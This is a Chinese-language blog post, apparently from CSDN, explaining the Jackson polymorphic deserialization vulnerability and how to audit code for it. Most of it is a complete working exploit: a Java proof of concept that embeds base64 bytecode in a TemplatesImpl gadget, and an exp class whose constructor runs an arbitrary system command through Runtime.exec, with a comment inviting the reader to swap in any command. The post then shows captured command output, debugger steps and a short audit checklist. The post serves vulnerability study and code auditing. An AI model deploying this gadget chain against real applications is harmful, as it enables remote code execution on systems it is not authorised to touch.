java jackson漏洞_小白审计JACKSON反序列化漏洞

本文详细解析了Jackson反序列化漏洞,包括POC代码展示、漏洞利用过程以及如何通过代码审计发现此类漏洞。介绍了如何通过检查Jackson库版本、Bean类中的Object类型变量及ObjectMapper的enableDefaultTyping设置来判断是否存在潜在风险。
摘要由CSDN通过智能技术生成

1. JACKSON漏洞解析

poc代码:main.java

importcom.fasterxml.jackson.databind.ObjectMapper;importcom.sun.org.apache.xerces.internal.impl.dv.util.Base64;importorg.springframework.util.FileCopyUtils;importjava.io.ByteArrayOutputStream;importjava.io.File;importjava.io.FileInputStream;importjava.io.IOException;/*** Created by Administrator on 2017/6/12.*/

public classmain {public static voidmain(String[] args) {

String MASIT_CLASS= "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";//改成exp存在的绝对路径

String exp = readClassStr("D:\\workspace\\123\\target\\classes\\exp.class");

String jsonInput= aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +

"{\n" +

"'transletBytecodes':['"+exp+"'],\n" +

"'transletName':'p',\n" +

"'outputProperties':{}\n" +

"}\n" +

"]\n" +

"}");

System.out.printf(jsonInput);

ObjectMapper mapper= newObjectMapper();

mapper.enableDefaultTyping();

User user;try{

user= mapper.readValue(jsonInput, User.class);

System.out.println(user.getSex());

System.out.println(user.getName());

}catch(Exception e) {

e.printStackTrace();

}

}public staticString aposToQuotes(String json){return json.replace("'","\"");

}public staticString readClassStr(String cls){

ByteArrayOutputStream byteArrayOutputStream= newByteArrayOutputStream();try{

FileCopyUtils.copy(new FileInputStream(newFile(cls)),byteArrayOutputStream);

}catch(IOException e) {

e.printStackTrace();

}returnBase64.encode(byteArrayOutputStream.toByteArray());

}

}

exp.java

import com.sun.javaws.progress.Progress;

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;

/**

* Created by Administrator on 2017/6/12.

*/

public class exp extends AbstractTranslet {

public exp() throws Exception {

try {

BufferedReader br = null;

//修改成你想要执行的命令

Process p = Runtime.getRuntime().exec("ipconfig");

br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line = null;

StringBuilder sb = new StringBuilder();

while ((line = br.readLine()) != null) {

sb.append(line + "\n");

System.out.println(sb);

}

File file = new File("result.txt");

//File file =new File("javaio-appendfile.txt");

//if file doesnt exists, then create it

if(!file.exists()){

file.createNewFile();

}

//true = append file

FileWriter fileWritter = new FileWriter(file.getName(),true);

BufferedWriter bufferWritter = new BufferedWriter(fileWritter);

bufferWritter.write(sb.toString());

bufferWritter.close();

System.out.println(sb);

} catch (IOException e) {

e.printStackTrace();

}

}

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}}

user.java

importjava.io.Serializable;importjava.util.Arrays;importjava.util.InputMismatchException;importjava.util.Objects;/*** Created by Administrator on 2017/6/12.*/

public classUser {privateObject object;publicObject getObject() {returnobject;

}public voidsetObject(Object object) {this.object =object;

}

}

尝试执行:

发现result.txt中存在结果

Windows IP ����

��̫�������� ��������2:

ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�

�����ض��� DNS ��׺ . . . . . . . :

��̫�������� Npcap Loopback Adapter:

�����ض��� DNS ��׺ . . . . . . . :

�������� IPv6 ��ַ. . . . . . . . : fe80::b047:25da:330b:45d4%18�Զ����� IPv4 ��ַ . . . . . . . :169.254.69.212�������� . . . . . . . . . . . . :255.255.0.0Ĭ�����. . . . . . . . . . . . . :

��̫�������� ��������:

�����ض��� DNS ��׺ . . . . . . . :

�������� IPv6 ��ַ. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12IPv4 ��ַ . . . . . . . . . . . . :10.0.83.198�������� . . . . . . . . . . . . :255.255.255.0Ĭ�����. . . . . . . . . . . . . :10.0.83.1

调试本地代码:

由于Jackson中是通过readValue执行命令,

按F7进入当前函数:

b2e2858a6a00321433fbce04d8e5060b.png

跳过几次赋值,进入到当前函数,发现次函数中存在反序列化的赋值,按F7进行调试

f1d7de5283027fbc7cb414c57c11995d.png

经过多次调试发现,命令在标红处代码执行,并抛出异常

91bfd645df3af43582ef738c01f81b61.png

多部调试,F7进入函数代码(SetterlessProperty.java):

5eaa909581e2887a1caece68939cd2fb.png

代码执行:

8ce42dd57c57014239c0c81073df2f4b.png

2. Jackson反序列化漏洞如何审计

OK,说到这就简单介绍了下,Jackson的反序列化代码运行的过程,那么现在代码审计中如何审计的出来项目是否包含Jackson反序列化呢?

第一步:看版本,如果Jackson的版本号不在存在漏洞的版本列表中,肯定不会有此漏洞,

版本列表:

Jackson 2.7版本(<2.7.10)

Jackson 2.8版本(<2.8.9)

第二步:你的Bean类中是否包含object类型的变量:

例如,我这边的User类中的Object变量定义为:private Object object

第三步:Jackson的ObjectMapper必须调用enableDefaultTyping:

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

满足以上三个要求,才能进行构造POC进行校验。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值